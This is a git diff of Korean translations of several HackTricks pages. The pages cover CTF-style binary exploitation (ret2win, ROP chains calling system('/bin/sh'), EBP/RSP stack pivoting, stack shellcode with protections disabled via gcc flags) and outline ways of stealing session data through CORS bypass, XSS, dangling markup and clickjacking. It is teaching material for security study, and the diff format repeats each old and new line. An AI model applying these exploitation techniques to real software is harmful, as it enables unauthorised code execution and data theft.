- `-m32`: 프로그램을 32비트 바이너리로 컴파일합니다 (선택 사항이지만 CTF 챌린지에서 일반적입니다).
- `-m32`: 프로그램을 32비트 바이너리로 컴파일합니다(선택 사항이지만 CTF 챌린지에서 일반적입니다).
- `-fno-stack-protector`: 스택 오버플로우에 대한 보호를 비활성화합니다.
- `-z execstack`: 스택에서 코드 실행을 허용합니다.
- `-no-pie`: `win` 함수의 주소가 변경되지 않도록 Position Independent Executable을 비활성화합니다.
- `-no-pie`: 위치 독립 실행 파일을 비활성화하여 `win` 함수의 주소가 변경되지 않도록 합니다.
- `-o vulnerable`: 출력 파일 이름을 `vulnerable`로 설정합니다.
### Pwntools를 이용한 Python Exploit
### Python Exploit using Pwntools
익스플로잇을 위해 **pwntools**를 사용할 것입니다. 이는 익스플로잇 작성을 위한 강력한 CTF 프레임워크입니다. 익스플로잇 스크립트는 버퍼를 오버플로우하고 `win` 함수의 주소로 반환 주소를 덮어쓰는 페이로드를 생성할 것입니다.
익스플로잇을 위해 **pwntools**를 사용할 것입니다. 이는 익스플로잇 작성을 위한 강력한 CTF 프레임워크입니다. 익스플로잇 스크립트는 버퍼를 오버플로우하고 반환 주소를 `win` 함수의 주소로 덮어쓰는 페이로드를 생성합니다.
```python
from pwn import *
@ -67,25 +67,25 @@ objdump -d vulnerable | grep win
Python 스크립트는 정교하게 제작된 메시지를 전송하여, `vulnerable_function`에 의해 처리될 때 버퍼가 오버플로우되고 스택의 반환 주소가 `win`의 주소로 덮어씌워집니다. `vulnerable_function`이 반환될 때, `main`으로 반환하거나 종료하는 대신 `win`으로 점프하고 메시지가 출력됩니다.
## 보호 조치
## Protections
- [**PIE**](../common-binary-protections-and-bypasses/pie/) **는 비활성화되어야** 주소가 실행 간에 신뢰할 수 있도록 하거나 함수가 저장될 주소가 항상 동일하지 않으며, `win` 함수가 로드된 위치를 파악하기 위해 어떤 누출이 필요합니다. 오버플로우를 유발하는 함수가 `read` 또는 유사한 경우, 반환 주소를 `win` 함수로 변경하기 위해 1 또는 2 바이트의 **부분 덮어쓰기**를 할 수 있습니다. ASLR의 작동 방식 때문에 마지막 세 개의 16진수 니블은 무작위화되지 않으므로, 올바른 반환 주소를 얻을 확률은 **1/16** (1 니블)입니다.
- [**스택 카나리**](../common-binary-protections-and-bypasses/stack-canaries/)도 비활성화되어야 하며, 그렇지 않으면 손상된 EIP 반환 주소가 결코 따라지지 않을 것입니다.
- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **는 비활성화되어야** 주소가 실행 간에 신뢰할 수 있도록 하거나 함수가 저장될 주소가 항상 동일하지 않으며, `win` 함수가 로드된 위치를 파악하기 위해 어떤 누출이 필요합니다. 오버플로우를 유발하는 함수가 `read` 또는 유사한 경우, 반환 주소를 `win` 함수로 변경하기 위해 1 또는 2 바이트의 **부분 덮어쓰기**를 할 수 있습니다. ASLR의 작동 방식 때문에 마지막 세 개의 16진수 니블은 무작위화되지 않으므로, 올바른 반환 주소를 얻을 확률은 **1/16** (1 니블)입니다.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) 또한 비활성화되어야 하며, 그렇지 않으면 손상된 EIP 반환 주소가 결코 따라지지 않을 것입니다.
## 기타 예제 및 참조
## Other examples & References
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
- [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
- 32비트, ASLR 없음
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
- ASLR가 있는 64비트, bin 주소의 누출 포함
- ASLR가 있는 64비트, 바이너리 주소의 누출 포함
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
- 64비트, ASLR 없음
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
- 32비트, ASLR 없음, 이중 소규모 오버플로우, 스택을 먼저 오버플로우하고 두 번째 오버플로우의 크기를 늘림
- 32비트, ASLR 없음, 두 번의 작은 오버플로우, 첫 번째로 스택을 오버플로우하고 두 번째 오버플로우의 크기를 늘림
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32비트, relro, 카나리 없음, nx, pie 없음, `fflush` 주소를 `win` 함수로 덮어쓰는 포맷 문자열 (ret2win)
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
- 64비트, relro, 카나리 없음, nx, pie. win 함수를 호출하기 위한 부분 덮어쓰기 (ret2win)
- 64비트, relro, 카나리 없음, nx, pie. `win` 함수를 호출하기 위한 부분 덮어쓰기 (ret2win)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,19 +4,19 @@
## **기본 정보**
**Return-Oriented Programming (ROP)**는 **No-Execute (NX)** 또는 **Data Execution Prevention (DEP)**와 같은 보안 조치를 우회하기 위해 사용되는 고급 익스플로잇 기법입니다. 공격자는 쉘코드를 주입하고 실행하는 대신, 바이너리 또는 로드된 라이브러리에 이미 존재하는 코드 조각을 활용합니다. 이러한 코드 조각을 **"가젯"**이라고 합니다. 각 가젯은 일반적으로 `ret` 명령어로 끝나며, 레지스터 간 데이터 이동이나 산술 연산과 같은 작은 작업을 수행합니다. 이러한 가젯을 연결하여 공격자는 임의의 작업을 수행하는 페이로드를 구성할 수 있으며, 효과적으로 NX/DEP 보호를 우회할 수 있습니다.
**Return-Oriented Programming (ROP)**는 **No-Execute (NX)** 또는 **Data Execution Prevention (DEP)**와 같은 보안 조치를 우회하기 위해 사용되는 고급 익스플로잇 기법입니다. 공격자는 쉘코드를 주입하고 실행하는 대신, 바이너리 또는 로드된 라이브러리에 이미 존재하는 코드 조각을 활용합니다. 이러한 코드 조각을 **"가젯"**이라고 합니다. 각 가젯은 일반적으로 `ret` 명령어로 끝나며, 레지스터 간 데이터 이동이나 산술 연산과 같은 작은 작업을 수행합니다. 이러한 가젯을 연결함으로써 공격자는 임의의 작업을 수행하는 페이로드를 구성할 수 있으며, 효과적으로 NX/DEP 보호를 우회할 수 있습니다.
### ROP 작동 방식
1. **제어 흐름 탈취**: 먼저, 공격자는 프로그램의 제어 흐름을 탈취해야 하며, 일반적으로 버퍼 오버플로우를 이용해 스택에 저장된 반환 주소를 덮어니다.
2. **가젯 체이닝**: 공격자는 원하는 작업을 수행하기 위해 가젯을 신중하게 선택하고 연결합니다. 여기에는 함수 호출을 위한 인수 설정, 함수 호출(예: `system("/bin/sh")`), 필요한 정리 또는 추가 작업 처리 등이 포함될 수 있습니다.
1. **제어 흐름 탈취**: 먼저, 공격자는 프로그램의 제어 흐름을 탈취해야 하며, 일반적으로 버퍼 오버플로우를 이용해 스택에 저장된 반환 주소를 덮어씌웁니다.
2. **가젯 체이닝**: 공격자는 원하는 작업을 수행하기 위해 가젯을 신중하게 선택하고 연결합니다. 이는 함수 호출을 위한 인수를 설정하고, 함수를 호출하며(예: `system("/bin/sh")`), 필요한 정리 작업이나 추가 작업을 처리하는 것을 포함할 수 있습니다.
3. **페이로드 실행**: 취약한 함수가 반환될 때, 합법적인 위치로 반환하는 대신 가젯 체인을 실행하기 시작합니다.
### 도구
일반적으로 가젯은 **[ROPgadget](https://github.com/JonathanSalwan/ROPgadget)**, **[ropper](https://github.com/sashs/Ropper)** 또는 **pwntools**([ROP](https://docs.pwntools.com/en/stable/rop/rop.html))를 사용하여 찾을 수 있습니다.
일반적으로 가젯은 **[ROPgadget](https://github.com/JonathanSalwan/ROPgadget)**, **[ropper](https://github.com/sashs/Ropper)** 또는 **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html))를 사용하여 찾을 수 있습니다.
## x86 예제에서의 ROP 체인
## x86에서의 ROP 체인 예제
### **x86 (32비트) 호출 규약**
@ -37,8 +37,8 @@
**pwntools**를 사용하여 ROP 체인 실행을 위해 스택을 다음과 같이 준비합니다. `system('/bin/sh')`를 실행하는 것을 목표로 하며, 체인이 다음과 같이 시작됨을 주목하십시오:
1. 정렬을 위한 `ret` 명령어 (선택 사항)
2. `system` 함수의 주소 (ASLR 비활성화 및 libc가 알려진 경우 가정, 더 많은 정보는 [**Ret2lib**](ret2lib/)에서 확인)
3. `system()`에서 반환 주소를 위한 자리 표시자
2. `system` 함수의 주소 (ASLR 비활성화 및 libc가 알려진 경우 가정, 더 많은 정보는 [**Ret2lib**](ret2lib/index.html)에서)
3. `system()` 반환 주소를 위한 자리 표시자
4. `"/bin/sh"` 문자열 주소 (system 함수의 매개변수)
```python
from pwn import *
@ -78,12 +78,12 @@ p.interactive()
### **x64 (64비트) 호출 규약**
- 유닉스 계열 시스템에서 **System V AMD64 ABI** 호출 규약을 사용하며, **첫 여섯 개의 정수 또는 포인터 인자는 레지스터 `RDI`, `RSI`, `RDX`, `RCX`, `R8`, 및 `R9`**에 전달됩니다. 추가 인자는 스택에 전달됩니다. 반환 값은 `RAX`에 저장됩니다.
- **Windows x64** 호출 규약은 첫 네 개의 정수 또는 포인터 인자를 위`RCX`, `RDX`, `R8`, 및 `R9`를 사용하며, 추가 인자는 스택에 전달됩니다. 반환 값은 `RAX`에 저장됩니다.
- **Windows x64** 호출 규약은 첫 네 개의 정수 또는 포인터 인자에 대`RCX`, `RDX`, `R8`, 및 `R9`를 사용하며, 추가 인자는 스택에 전달됩니다. 반환 값은 `RAX`에 저장됩니다.
- **레지스터**: 64비트 레지스터에는 `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, 및 `R8`에서 `R15`까지 포함됩니다.
#### **가젯 찾기**
우리의 목적을 위해, **RDI** 레지스터를 설정할 수 있는 가젯에 집중하겠습니다 (인자로 **system()**에 **"/bin/sh"** 문자열을 전달하기 위해) 그리고 **system()** 함수를 호출하겠습니다. 다음 가젯을 식별했다고 가정하겠습니다:
우리의 목적을 위해, **RDI** 레지스터를 설정할 수 있는 가젯에 집중하겠습니다 (인자로 **system()**에 **"/bin/sh"** 문자열을 전달하기 위해) 그리고 **system()** 함수를 호출니다. 다음 가젯을 식별했다고 가정하겠습니다:
- **pop rdi; ret**: 스택의 최상위 값을 **RDI**에 팝하고 반환합니다. **system()**의 인자를 설정하는 데 필수적입니다.
- **ret**: 간단한 반환으로, 일부 시나리오에서 스택 정렬에 유용합니다.
@ -92,7 +92,7 @@ p.interactive()
### **ROP 체인**
아래는 **pwntools**를 사용하여 **system('/bin/sh')**를 실행하는 ROP 체인을 설정하고 실행하는 예제입니다:
아래는 **pwntools**를 사용하여 **x64**에서 **system('/bin/sh')**를 실행하기 위한 ROP 체인을 설정하고 실행하는 예제입니다:
```python
from pwn import *
@ -131,21 +131,21 @@ p.interactive()
- 우리는 **`pop rdi; ret`** 가젯을 사용하여 **`RDI`**를 **`"/bin/sh"`**의 주소로 설정합니다.
- **`RDI`**를 설정한 후, 체인에 **system()**의 주소가 있는 상태에서 **`system()`**으로 직접 점프합니다.
- **`ret_gadget`**은 대상 환경이 필요로 할 경우 정렬을 위해 사용되며, 이는 함수 호출 전에 적절한 스택 정렬을 보장하기 위해 **x64**에서 더 일반적입니다.
- **`ret_gadget`**은 대상 환경이 필요로 할 경우 정렬을 위해 사용되며, 이는 **x64**에서 함수 호출 전에 적절한 스택 정렬을 보장하기 위해 더 일반적입니다.
### 스택 정렬
**x86-64 ABI**는 **call instruction**이 실행될 때 **스택이 16바이트 정렬**되어 있음을 보장합니다. **LIBC**는 성능 최적화를 위해 **SSE instructions**(예: **movaps**)를 사용하며, 이 정렬이 필요합니다. 스택이 제대로 정렬되지 않으면(**RSP**가 16의 배수가 아닐 경우) **system**과 같은 함수 호출이 **ROP chain**에서 실패합니다. 이를 해결하기 위해, ROP 체인에서 **system**을 호출하기 전에 간단히 **ret gadget**을 추가하면 됩니다.
**x86-64 ABI**는 **call instruction**이 실행될 때 **스택이 16바이트 정렬**되어 있음을 보장합니다. **LIBC**는 성능 최적화를 위해 **SSE instructions**(예: **movaps**)를 사용하며, 이 정렬이 필요합니다. 스택이 제대로 정렬되지 않으면(**RSP**가 16의 배수가 아닐 경우) **system**과 같은 함수 호출이 **ROP chain**에서 실패합니다. 이를 해결하려면 ROP 체인에서 **system**을 호출하기 전에 **ret gadget**을 추가하면 됩니다.
## x86과 x64의 주요 차이점
> [!TIP]
> x64는 처음 몇 개의 인수에 레지스터를 사용하므로, 간단한 함수 호출을 위해 x86보다 더 적은 가젯을 필요로 하는 경우가 많지만, 레지스터 수가 증가하고 주소 공간이 커짐에 따라 올바른 가젯을 찾고 연결하는 것이 더 복잡할 수 있습니다. **x64** 아키텍처의 증가된 레지스터 수와 더 큰 주소 공간은 특히 Return-Oriented Programming (ROP) 맥락에서 익스플로잇 개발에 기회와 도전을 제공합니다.
> x64는 처음 몇 개의 인수에 레지스터를 사용하므로 간단한 함수 호출에 대해 x86보다 더 적은 가젯을 필요로 하지만, 레지스터 수가 증가하고 주소 공간이 커짐에 따라 올바른 가젯을 찾고 연결하는 것이 더 복잡할 수 있습니다. **x64** 아키텍처의 레지스터 수 증가와 더 큰 주소 공간은 특히 Return-Oriented Programming (ROP) 맥락에서 익스플로잇 개발에 기회와 도전을 제공합니다.
## 보호 조치
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)
- [**스택 카나리**](../common-binary-protections-and-bypasses/stack-canaries/)
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)
- [**스택 카나리**](../common-binary-protections-and-bypasses/stack-canaries/index.html)
## 기타 예제 및 참조
@ -153,7 +153,7 @@ p.interactive()
## ROP 기반 기술
ROP는 임의의 코드를 실행하기 위한 기술일 뿐임을 유의하십시오. ROP를 기반으로 많은 Ret2XXX 기술이 개발되었습니다:
ROP는 임의의 코드를 실행하기 위한 기술일 뿐입니다. ROP를 기반으로 많은 Ret2XXX 기술이 개발되었습니다:
- **Ret2lib**: ROP를 사용하여 임의의 매개변수로 로드된 라이브러리에서 임의의 함수를 호출합니다(보통 `system('/bin/sh')`와 같은 형태).
@ -161,7 +161,7 @@ ROP는 임의의 코드를 실행하기 위한 기술일 뿐임을 유의하십
ret2lib/
{{#endref}}
- **Ret2Syscall**: ROP를 사용하여 시스템 호출을 준비하고, 예를 들어 `execve`통해 임의의 명령을 실행합니다.
- **Ret2Syscall**: ROP를 사용하여 시스템 호출을 준비하고, 예를 들어 `execve`호출하여 임의의 명령을 실행합니다.
{{#ref}}
rop-syscall-execv.md

View File

@ -4,7 +4,7 @@
## 기본 정보
이 기술은 **기본 포인터(EBP)**를 조작하여 EBP 레지스터와 `leave; ret` 명령어 시퀀스를 신중하게 사용하여 여러 함수의 실행을 연결하는 능력을 이용합니다.
이 기술은 **기본 포인터(EBP)**를 조작하여 EBP 레지스터와 `leave; ret` 명령어 시퀀스를 신중하게 사용하여 여러 함수의 실행을 체인하는 능력을 이용합니다.
상기 사항으로, **`leave`**는 기본적으로 다음을 의미합니다:
```
@ -12,14 +12,14 @@ mov esp, ebp
pop ebp
ret
```
그리고 **EBP가 스택에** 있을 때 EIP 앞에 있기 때문에 스택을 제어하여 EBP를 제어할 수 있습니다.
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
### EBP2Ret
이 기술은 **EBP 레지스터를 변경할 수 있지만 EIP 레지스터를 직접 변경할 방법이 없을 때** 특히 유용합니다. 함수가 실행을 마칠 때의 동작을 활용합니다.
`fvuln` 실행 중에 스택에 **가짜 EBP**를 주입하여 쉘코드 주소가 있는 메모리 영역을 가리키게 할 수 있다면(plus 4 bytes는 `pop` 작업을 고려한 것입니다), EIP를 간접적으로 제어할 수 있습니다. `fvuln`이 반환되면 ESP는 이 조작된 위치로 설정되고, 이후의 `pop` 작업은 ESP를 4만큼 감소시켜 **실제로 공격자가 그곳에 저장한 주소를 가리키게 니다.**\
여기서 **2개의 주소를 알아야 한다는 점에 유의하세요**: ESP가 이동할 주소와 ESP가 가리키는 주소를 써야 할 주소입니다.
`fvuln` 실행 중에, **가짜 EBP**를 스택에 주입하여 메모리의 쉘코드 주소가 위치한 영역을 가리키게 할 수 있다면(plus 4 bytes to account for the `pop` operation), EIP를 간접적으로 제어할 수 있습니다. `fvuln`이 반환되면, ESP는 이 조작된 위치로 설정되고, 이후의 `pop` 작업은 ESP를 4만큼 감소시켜 **실제로 공격자가 그곳에 저장한 주소를 가리키게 만듭니다.**\
여기서 **2개의 주소를 알아야 한다는 점에 유의하세요**: ESP가 이동할 주소와, ESP가 가리키는 주소를 써야 할 주소입니다.
#### Exploit Construction
@ -28,11 +28,11 @@ ret
그 다음, **임의의 코드를 실행할** `ret`이 사용하는 주소를 알아야 합니다. 다음을 사용할 수 있습니다:
- 유효한 [**ONE_GADGET**](https://github.com/david942j/one_gadget) 주소.
- **`system()`**의 주소 뒤에 **4개의 쓰레기 바이트**와 `"/bin/sh"`의 주소(x86 비트).
- **`jump esp;`** 가젯([**ret2esp**](ret2esp-ret2reg.md))의 주소 뒤에 **실행할 쉘코드**.
- **`system()`**의 주소 뒤에 **4개의 쓰레기 바이트**와 `"/bin/sh"`의 주소(x86 bits).
- **`jump esp;`** 가젯의 주소([**ret2esp**](ret2esp-ret2reg.md)) 뒤에 **실행할 쉘코드**.
- 일부 [**ROP**](rop-return-oriented-programing.md) 체인.
제어된 메모리 부분의 이러한 주소 앞에는 **`4` 바이트**가 있어야 합니다. 이는 **`pop`** 부분`leave` 명령어 때문입니다. 이 4B를 악용하여 **두 번째 가짜 EBP**를 설정하고 실행을 계속 제어할 수 있습니다.
제어된 메모리 부분의 이러한 주소 앞에는 **`4` 바이트**가 있어야 합니다. 이는 **`pop`** 부분 때문에 필요합니다. 이 4B를 악용하여 **두 번째 가짜 EBP**를 설정하고 실행을 계속 제어할 수 있습니다.
#### Off-By-One Exploit
@ -40,18 +40,18 @@ ret
### **EBP Chaining**
따라서 스택의 `EBP` 항목에 제어된 주소를 넣고 `EIP``leave; ret` 주소를 넣으면 **스택에서 제어된 `EBP` 주소로 `ESP`를 이동 수 있습니다.**
따라서 스택의 `EBP` 항목에 제어된 주소를 넣고 `EIP``leave; ret` 주소를 넣으면, **스택에서 제어된 `EBP` 주소로 `ESP`를 이동시킬 수 있습니다.**
이제 **`ESP`**는 원하는 주소를 가리키도록 제어되고 다음 실행할 명령은 `RET`입니다. 이를 악용하기 위해 제어된 ESP 위치에 다음을 배치할 수 있습니다:
이제 **`ESP`**는 원하는 주소를 가리키도록 제어되고, 다음 실행할 명령은 `RET`입니다. 이를 악용하기 위해 제어된 ESP 위치에 다음을 배치할 수 있습니다:
- **`&(next fake EBP)`** -> `leave` 명령`pop ebp`로 인해 새로운 EBP를 로드합니다.
- **`&(next fake EBP)`** -> `leave` 명령의 `pop ebp`로 인해 새로운 EBP를 로드합니다.
- **`system()`** -> `ret`에 의해 호출됩니다.
- **`&(leave;ret)`** -> 시스템이 종료된 후 호출되며, ESP를 가짜 EBP로 이동시키고 다시 시작합니다.
- **`&("/bin/sh")`** -> `system`의 매개변수입니다.
- **`&("/bin/sh")`**-> `system`의 매개변수입니다.
기본적으로 이 방법으로 여러 개의 가짜 EBP를 연결하여 프로그램의 흐름을 제어할 수 있습니다.
이것은 [ret2lib](ret2lib/)와 비슷하지만, 명백한 이점은 없지만 일부 엣지 케이스에서 흥미로울 수 있습니다.
이것은 [ret2lib](ret2lib/index.html)와 비슷하지만, 명백한 이점 없이 더 복잡합니다. 그러나 일부 엣지 케이스에서는 흥미로울 수 있습니다.
게다가, 여기에는 **스택 누수**를 사용하여 승리하는 함수를 호출하는 [**챌린지의 예**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)가 있습니다. 이것은 페이지의 최종 페이로드입니다:
```python
@ -116,11 +116,11 @@ add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
```
## RSP를 제어하는 다른 방법
## RSP 제어의 다른 방법
### **`pop rsp`** 가젯
[**이 페이지에서**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) 이 기술을 사용하는 예제를 찾을 수 있습니다. 이 도전 과제를 위해서는 2개의 특정 인수를 가진 함수를 호출해야 했으며, **`pop rsp` 가젯**이 있었고 **스택에서의 leak**이 있었습니다:
[**이 페이지에서**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) 이 기술을 사용하는 예제를 찾을 수 있습니다. 이 도전 과제서는 2개의 특정 인수를 가진 함수를 호출해야 했으며, **`pop rsp` 가젯**이 있었고 **스택에서의 누수**가 있었습니다:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
@ -170,7 +170,7 @@ pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
```
## 참고 문헌
## References
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)

View File

@ -8,7 +8,7 @@
### C Example: A Vulnerable Program
간단한 취약한 C 프로그램의 예로 시작해 보겠습니다:
Let's start with a simple example of a vulnerable C program:
```c
#include <stdio.h>
#include <string.h>
@ -35,7 +35,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
- `-fno-stack-protector`: 스택 보호를 비활성화합니다.
- `-z execstack`: 스택을 실행 가능하게 만들어, 스택에 저장된 shellcode를 실행하는 데 필요합니다.
- `-no-pie`: 위치 독립 실행 파일을 비활성화하여, 우리의 shellcode가 위치할 메모리 주소를 예측하기 쉽게 만듭니다.
- `-m32`: 프로그램을 32비트 실행 파일로 컴파일하여, 익스플로잇 개발에서 단순함을 위해 자주 사용됩니다.
- `-m32`: 프로그램을 32비트 실행 파일로 컴파일하여, 익스플로잇 개발의 단순성을 위해 자주 사용됩니다.
### Python Exploit using Pwntools
@ -72,18 +72,18 @@ p.interactive()
## 보호 조치
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **은 비활성화되어야** 주소가 실행 간에 신뢰할 수 있도록 하거나 함수가 저장될 주소가 항상 동일하지 않으며, win 함수가 로드된 위치를 파악하기 위해 어떤 누출이 필요합니다.
- [**스택 카나리**](../common-binary-protections-and-bypasses/stack-canaries/)도 비활성화되어야 하며, 그렇지 않으면 손상된 EIP 반환 주소가 결코 따라가지 않을 것입니다.
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) **스택** 보호는 해당 영역이 실행 가능하지 않기 때문에 스택 내에서 쉘코드의 실행을 방지합니다.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **은 비활성화되어야** 실행 간에 주소가 신뢰할 수 있도록 하며, 함수가 저장될 주소가 항상 동일하지 않기 때문에 win 함수가 로드된 위치를 파악하기 위해서는 어떤 leak이 필요합니다.
- [**스택 카나리**](../common-binary-protections-and-bypasses/stack-canaries/index.html)도 비활성화되어야 하며, 그렇지 않으면 손상된 EIP 반환 주소가 결코 따라가지 않을 것입니다.
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) **스택** 보호는 스택 내에서 쉘코드의 실행을 방지합니다. 해당 영역은 실행 가능하지 않기 때문입니다.
## 기타 예제 및 참고 자료
## 기타 예제 및 참
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- 64비트, 스택 주소 누출이 있는 ASLR, 쉘코드 작성 및 점프
- 64비트, 스택 주소 leak가 있는 ASLR, 쉘코드를 작성하고 점프하기
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- 32비트, 스택 누출이 있는 ASLR, 쉘코드 작성 및 점프
- 32비트, 스택 leak가 있는 ASLR, 쉘코드를 작성하고 점프하기
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- 32비트, 스택 누출이 있는 ASLR, exit() 호출 방지를 위한 비교, 변수에 값 덮어쓰기 및 쉘코드 작성 및 점프
- 32비트, 스택 leak가 있는 ASLR, exit() 호출을 방지하기 위한 비교, 변수에 값을 덮어쓰고 쉘코드를 작성하고 점프하기
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,12 +2,12 @@
{{#include ./banners/hacktricks-training.md}}
어떤 시점에 **세션에 따라 민감한 정보를 제공하는 웹 페이지를 발견하면**: 쿠키를 반영하거나, 인쇄하거나, CC 세부정보 또는 기타 민감한 정보를 출력하는 경우, 이를 도용하려고 시도할 수 있습니다.\
여기서 이를 달성하기 위해 시도할 수 있는 주요 방법을 소개합니다:
어떤 시점에 **세션에 따라 민감한 정보를 제공하는 웹 페이지를 발견하면**: 쿠키를 반영하거나, 신용카드 세부정보 또는 기타 민감한 정보를 출력하는 경우, 이를 도용하려고 시도할 수 있습니다.\
여기서 이를 달성하기 위해 시도할 수 있는 주요 방법을 소개합니다:
- [**CORS 우회**](pentesting-web/cors-bypass.md): CORS 헤더를 우회할 수 있다면 악성 페이지에 대한 Ajax 요청을 수행하여 정보를 도용할 수 있습니다.
- [**XSS**](pentesting-web/xss-cross-site-scripting/): 페이지에서 XSS 취약점을 발견하면 이를 악용하여 정보를 도용할 수 있습니다.
- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): XSS 태그를 주입할 수 없다면 다른 일반 HTML 태그를 사용하여 여전히 정보를 도용할 수 있습니다.
- [**Clickjaking**](pentesting-web/clickjacking.md): 이 공격에 대한 보호가 없다면 사용자를 속여 민감한 데이터를 보내도록 할 수 있습니다 (예시 [여기](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
- [**CORS 우회**](pentesting-web/cors-bypass.md): CORS 헤더를 우회할 수 있다면, 악성 페이지에 대한 Ajax 요청을 수행하여 정보를 도용할 수 있습니다.
- [**XSS**](pentesting-web/xss-cross-site-scripting/index.html): 페이지에서 XSS 취약점을 발견하면, 이를 악용하여 정보를 도용할 수 있습니다.
- [**댕글링 마크업**](pentesting-web/dangling-markup-html-scriptless-injection/index.html): XSS 태그를 주입할 수 없다면, 다른 일반 HTML 태그를 사용하여 여전히 정보를 도용할 수 있습니다.
- [**클릭재킹**](pentesting-web/clickjacking.md): 이 공격에 대한 보호가 없다면, 사용자를 속여 민감한 데이터를 보내도록 할 수 있습니다 (예시 [여기](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
{{#include ./banners/hacktricks-training.md}}

View File

@ -2,12 +2,12 @@
{{#include ../banners/hacktricks-training.md}}
어떤 시점에 **세션에 따라 민감한 정보를 제공하는 웹 페이지를 발견하면**: 쿠키를 반영하거나, 카드 세부정보를 인쇄하거나, 기타 민감한 정보를 표시할 수 있습니다. 이 정보를 도용하려고 시도할 수 있습니다.\
여기서 이를 달성하기 위해 시도할 수 있는 주요 방법을 소개합니다:
어떤 시점에 **세션에 따라 민감한 정보를 제공하는 웹 페이지를 발견하면**: 쿠키를 반영하거나, CC 세부정보 또는 기타 민감한 정보를 출력하는 경우, 이를 도용하려고 시도할 수 있습니다.\
여기서 이를 달성하기 위해 시도할 수 있는 주요 방법을 제시합니다:
- [**CORS 우회**](../pentesting-web/cors-bypass.md): CORS 헤더를 우회할 수 있다면 악성 페이지에 대한 Ajax 요청을 수행하여 정보를 도용할 수 있습니다.
- [**XSS**](../pentesting-web/xss-cross-site-scripting/): 페이지에서 XSS 취약점을 발견하면 이를 악용하여 정보를 도용할 수 있습니다.
- [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/): XSS 태그를 주입할 수 없다면 여전히 다른 일반 HTML 태그를 사용하여 정보를 도용할 수 있습니다.
- [**Clickjaking**](../pentesting-web/clickjacking.md): 이 공격에 대한 보호가 없다면 사용자를 속여 민감한 데이터를 보내도록 할 수 있습니다 (예시 [여기](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
- [**XSS**](../pentesting-web/xss-cross-site-scripting/index.html): 페이지에서 XSS 취약점을 발견하면 이를 악용하여 정보를 도용할 수 있습니다.
- [**댕글링 마크업**](../pentesting-web/dangling-markup-html-scriptless-injection/index.html): XSS 태그를 주입할 수 없다면 여전히 다른 일반 HTML 태그를 사용하여 정보를 도용할 수 있습니다.
- [**클릭재킹**](../pentesting-web/clickjacking.md): 이 공격에 대한 보호가 없다면 사용자를 속여 민감한 데이터를 보내도록 할 수 있습니다 (예시 [여기](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
{{#include ../banners/hacktricks-training.md}}

View File

@ -18,7 +18,7 @@
**Active Directory Domain Services (AD DS)**는 네트워크 내에서 중앙 집중식 관리 및 통신에 중요한 다양한 서비스를 포함합니다. 이러한 서비스는 다음과 같습니다:
1. **도메인 서비스** 데이터 저장소를 중앙 집중화하고 **사용자**와 **도메인** 간의 상호 작용을 관리하며, **인증****검색** 기능을 포함합니다.
